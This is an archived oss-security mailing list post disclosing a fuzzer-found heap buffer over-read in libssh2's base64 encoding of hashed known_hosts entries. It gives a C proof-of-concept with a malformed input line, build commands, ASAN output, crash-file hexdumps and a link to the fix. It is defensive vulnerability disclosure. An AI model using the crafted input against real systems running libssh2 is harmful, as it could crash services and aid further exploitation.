Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAG8b5tQyFKNedYpJ_tNzRROuJy5yJfewqOAqjQ9_zNfMiK5dFg@mail.gmail.com>
Date: Tue, 26 Aug 2025 21:56:06 +0400
From: Dhiraj Mishra <mishra.dhiraj95@...il.com>
To: oss-security@...ts.openwall.com
Subject: libssh2 Base64 Encoding Heap Overflow in Known Hosts SHA1 Hash Processing

*Summary:*

I've successfully created a libFuzzer harness targeting the
libssh2_knownhost_readline() API, used for parsing SSH known_hosts files.
The fuzzer discovered a heap buffer overflow vulnerability in the
_libssh2_base64_encode() function when processing malformed hashed hostname
entries.

*minimal_poc.c:*

#include <stdio.h>
#include <string.h>
#include "libssh2.h"

int main() {

    const char *evil = "|1|||||||
ssh-h-\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13\x13rsA=
#";

    libssh2_init(0);
    LIBSSH2_SESSION *session = libssh2_session_init();
    LIBSSH2_KNOWNHOSTS *hosts = libssh2_knownhost_init(session);

    libssh2_knownhost_readline(hosts, evil, strlen(evil),
LIBSSH2_KNOWNHOST_FILE_OPENSSH);

    struct libssh2_knownhost *store, *prev = NULL;
    char buf[4096];
    size_t len;
    if (libssh2_knownhost_get(hosts, &store, prev) == 0) {
        libssh2_knownhost_writeline(hosts, store, buf, sizeof(buf), &len,
LIBSSH2_KNOWNHOST_FILE_OPENSSH);
    }

    libssh2_knownhost_free(hosts);
    libssh2_session_free(session);
    libssh2_exit();
    return 0;
}

*Compile:*

clang -g -fsanitize=address -I./include -I./src -DLIBSSH2_OPENSSL
-I/usr/local/opt/openssl@...nclude minimal_poc.c ./src/.libs/libssh2.a
-L/usr/local/opt/openssl@...ib -lcrypto -lssl -lz -o minimal_poc

*ASAN:*

bash-3.2$ ./minimal_poc
minimal_poc(41411,0x7ff84b5d2f80) malloc: nano zone abandoned due to
inability to reserve vm space.
=================================================================
==41411==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x6020000000d5 at pc 0x00010728cb0f bp 0x7ff7b9a37f90 sp 0x7ff7b9a37758
READ of size 6 at 0x6020000000d5 thread T0
    #0 0x00010728cb0e in strlen+0x80e
(libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x19b0e)
    #1 0x0001064d808e in _libssh2_base64_encode misc.c:463
    #2 0x0001064d72d3 in knownhost_writeline knownhost.c:1108
    #3 0x0001064c6b10 in main minimal_poc.c:21
    #4 0x7ff80983352f in start+0xbef (dyld:x86_64+0xfffffffffffde52f)

0x6020000000d5 is located 0 bytes after 5-byte region
[0x6020000000d0,0x6020000000d5)
allocated by thread T0 here:
    #0 0x0001073554d2 in malloc+0x82
(libclang_rt.asan_osx_dynamic.dylib:x86_64h+0xe24d2)
    #1 0x0001064d7f0c in _libssh2_base64_decode misc.c:395
    #2 0x0001064d606f in knownhost_add knownhost.c:174
    #3 0x0001064d6fa1 in hostline knownhost.c:851
    #4 0x0001064c6aae in main minimal_poc.c:14
    #5 0x7ff80983352f in start+0xbef (dyld:x86_64+0xfffffffffffde52f)

SUMMARY: AddressSanitizer: heap-buffer-overflow misc.c:463 in
_libssh2_base64_encode
Shadow bytes around the buggy address:
  0x601ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x601ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x601fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x601fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x602000000000: fa fa fd fa fa fa fd fd fa fa 00 00 fa fa 00 04
=>0x602000000080: fa fa 00 04 fa fa 00 00 fa fa[05]fa fa fa 01 fa
  0x602000000100: fa fa 02 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==41411==ABORTING
Abort trap: 6
bash-3.2$

*Crash:*

bash-3.2$ hexdump -C ./crash-47ae4ab289208f01fa5c170cf038b6b3420136cb
00000000  7c 31 7c 7c 7c 7c 7c 7c  7c 20 73 73 68 2d 68 2d  ||1|||||||
ssh-h-|
00000010  13 13 13 13 13 13 13 13  13 13 13 13 13 13 13 13
 |................|
00000020  13 13 13 13 13 13 13 13  13 13 13 72 73 41 3d 20
 |...........rsA= |
00000030  23                                                |#|
00000031
bash-3.2$
bash-3.2$ hexdump -C crash-d72f40d5cd95987a058ece287de07373ae7e1c23
00000000  7c 31 7c 7c 7c 7c 7c 7c  7c 20 73 73 68 2c 72 73  ||1|||||||
ssh,rs|
00000010  61 20 41 3d 40 ff ff ff  ff ff ff ff ff ff ff ff  |a
A=@...........|
00000020  ff ff ff ff ff ff ff ff  ff ff ff 20 23           |........... #|
0000002d
bash-3.2$

*Fix:*

https://github.com/libssh2/libssh2/pull/1641

Content of type "text/html" skipped

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.